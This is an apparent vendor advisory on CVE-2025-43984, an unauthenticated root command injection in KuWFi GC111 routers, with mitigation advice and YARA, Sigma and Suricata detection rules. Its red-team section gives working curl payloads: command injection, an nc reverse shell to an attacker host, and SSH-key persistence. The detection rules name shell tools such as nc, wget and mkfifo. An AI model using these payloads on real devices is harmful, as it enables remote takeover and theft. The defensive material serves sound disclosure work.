CVE-2025-43984
Executive Summary
CVE-2025-43984 is a critical, unauthenticated OS command injection vulnerability affecting KuWFi GC111 devices (Hardware Version: CPE-LM321_V3.2, Software Version: GC111-GL-LM321_V3.0_20191211). The vulnerability resides in the /goform/goform_set_cmd_process endpoint, where the SSID parameter is not sanitized before being passed to a system command. An attacker can send a crafted POST request to execute arbitrary OS commands with root privileges, leading to full device compromise. No patch is currently available, and public proof-of-concept (PoC) code exists.
This vulnerability is particularly dangerous because it requires no authentication, can be exploited remotely, and grants root-level access. Affected devices are often used as CPEs (Customer Premises Equipment) in IoT and ISP deployments, making them attractive targets for botnet recruitment, network pivoting, and data exfiltration.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – Exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Full access to device data and network traffic.
- Integrity (I): High – Full control over device configuration and firmware.
- Availability (A): High – Ability to crash the device or disrupt services.
Threat Level: Critical. The combination of remote, unauthenticated exploitation with root privileges makes this a top-priority vulnerability for any organization using KuWFi GC111 devices.
Deep Dive & Mechanics
The vulnerability is a classic OS command injection in the web management interface of the KuWFi GC111 router. The device exposes an endpoint /goform/goform_set_cmd_process that is used to apply configuration changes. The SSID parameter, intended to set the wireless network name, is directly concatenated into a shell command without sanitization.
Root Cause: The firmware uses a function similar to popen() or system() to execute a command like:
iwconfig wlan0 essid <SSID>
If an attacker injects shell metacharacters (e.g., ;, |, &&, `) into the SSID parameter, they can break out of the intended command and execute arbitrary commands.
Attack Flow:
- Attacker identifies a vulnerable KuWFi GC111 device (e.g., via Shodan or mass scanning).
- Attacker sends a POST request to
/goform/goform_set_cmd_processwith a maliciousSSIDparameter. - The device executes the injected command with root privileges.
- Attacker gains a reverse shell, installs malware, or exfiltrates data.
Example Payload:
POST /goform/goform_set_cmd_process HTTP/1.1
Host: <target_ip>
Content-Type: application/x-www-form-urlencoded
SSID=test;id
This would execute iwconfig wlan0 essid test;id, printing the id command output to the response or logs.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void set_ssid(char *ssid) {
char cmd[256];
snprintf(cmd, sizeof(cmd), "iwconfig wlan0 essid %s", ssid);
system(cmd); // Vulnerable: ssid not sanitized
}
Patched Code (Conceptual):
void set_ssid(char *ssid) {
// Sanitize input: allow only alphanumeric, spaces, hyphens, underscores
if (!is_valid_ssid(ssid)) {
log_error("Invalid SSID");
return;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "iwconfig wlan0 essid %s", ssid);
system(cmd);
}
A proper patch would either:
- Use a whitelist of allowed characters for the SSID.
- Use
execvp()with separate arguments instead ofsystem(). - Escape shell metacharacters before passing to
system().
Since no official patch exists, users must rely on mitigations.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Obtain a KuWFi GC111 device or use an emulator (e.g., QEMU for MIPS architecture).
- Connect the device to an isolated network.
- Identify the device IP (e.g., via DHCP or ARP scan).
Exploitation Steps:
Basic Command Injection:
curl -X POST http://<target_ip>/goform/goform_set_cmd_process \ -d "SSID=test;id"The output of
idmay appear in the HTTP response or device logs.Reverse Shell:
# Attacker machine (listener): nc -lvnp 4444 # Exploit payload: curl -X POST http://<target_ip>/goform/goform_set_cmd_process \ -d "SSID=test;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 4444 >/tmp/f"Persistence (Add SSH key):
curl -X POST http://<target_ip>/goform/goform_set_cmd_process \ -d "SSID=test;echo 'ssh-rsa AAA...' >> /etc/dropbear/authorized_keys"
Metasploit Module (if available):
# Placeholder for a Metasploit module
# exploit/linux/http/kuwfi_gc111_cmd_inject
Blue Team (Defensive)
Detection Steps:
- Monitor HTTP POST requests to
/goform/goform_set_cmd_processwith unusualSSIDparameters (containing;,|,&,`). - Check device logs for unexpected command execution (e.g.,
id,whoami,wget). - Network traffic analysis: Look for outbound connections from the device to unknown IPs on unusual ports (e.g., 4444, 31337).
- File integrity monitoring: Check for new files in
/tmp,/etc/dropbear, or/etc/init.d.
Honeypot Strategy:
- Deploy a low-interaction honeypot mimicking the KuWFi GC111 web interface.
- Log all POST requests to
/goform/goform_set_cmd_process. - Alert on any
SSIDparameter containing shell metacharacters.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/goform/goform_set_cmd_processwithSSIDcontaining;,|,&,`,$(). - Outbound connections from the device to IPs on ports 4444, 31337, 1337 (common reverse shell ports).
- DNS queries to domains associated with C2 infrastructure (e.g.,
malware.example.com).
File System IOCs:
- Unexpected files in
/tmp(e.g.,/tmp/f,/tmp/.x). - Modified
/etc/dropbear/authorized_keyswith unknown SSH keys. - New processes running as root (e.g.,
/bin/sh,nc,bash).
Log IOCs:
- Device logs showing execution of commands like
id,whoami,wget,curl. - Repeated failed login attempts (if attacker tries to brute force before discovering the unauthenticated endpoint).
Detection Engineering
YARA Rule
rule CVE_2025_43984_KuWFi_GC111_Command_Injection {
meta:
description = "Detects exploit attempts for CVE-2025-43984 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-43984"
strings:
$endpoint = "/goform/goform_set_cmd_process"
$ssid_param = "SSID="
$shell_meta1 = /[;|&`$()]/
$shell_meta2 = /\b(id|whoami|wget|curl|nc|bash|sh|mkfifo)\b/
condition:
$endpoint and $ssid_param and (#shell_meta1 > 0 or #shell_meta2 > 0)
}
Sigma Rule
title: CVE-2025-43984 KuWFi GC111 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/goform_set_cmd_process with suspicious SSID parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/goform/goform_set_cmd_process'
cs-uri-query|contains: 'SSID='
keywords:
- ';'
- '|'
- '&'
- '`'
- '$('
- 'id'
- 'whoami'
- 'wget'
- 'curl'
- 'nc'
- 'bash'
- 'sh'
- 'mkfifo'
condition: selection and keywords
falsepositives:
- Legitimate SSID names containing special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-43984 KuWFi GC111 Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/goform/goform_set_cmd_process";
http_uri;
content:"SSID=";
http_client_body;
pcre:"/(?:;|\||&|`|\$\(|id|whoami|wget|curl|nc|bash|sh|mkfifo)/i";
sid:10000001;
rev:1;
reference:cve,2025-43984;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices from the internet and untrusted networks.
- Disable remote management if not required.
- Implement network segmentation to limit lateral movement from compromised devices.
- Monitor for exploitation attempts using the provided detection rules.
Long-term Fixes:
- Vendor patch: Contact KuWFi for a firmware update. If unavailable, consider replacing the device.
- Custom firewall rules: Block POST requests to
/goform/goform_set_cmd_processfrom untrusted sources. - Web application firewall (WAF): Deploy a WAF with rules to block command injection payloads in the
SSIDparameter.
Workaround (if patching is not possible):
- Use a reverse proxy (e.g., Nginx) in front of the device to filter malicious requests:
location /goform/goform_set_cmd_process { if ($request_body ~* "SSID=.*[;|&`$()]") { return 403; } proxy_pass http://<device_ip>; }
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.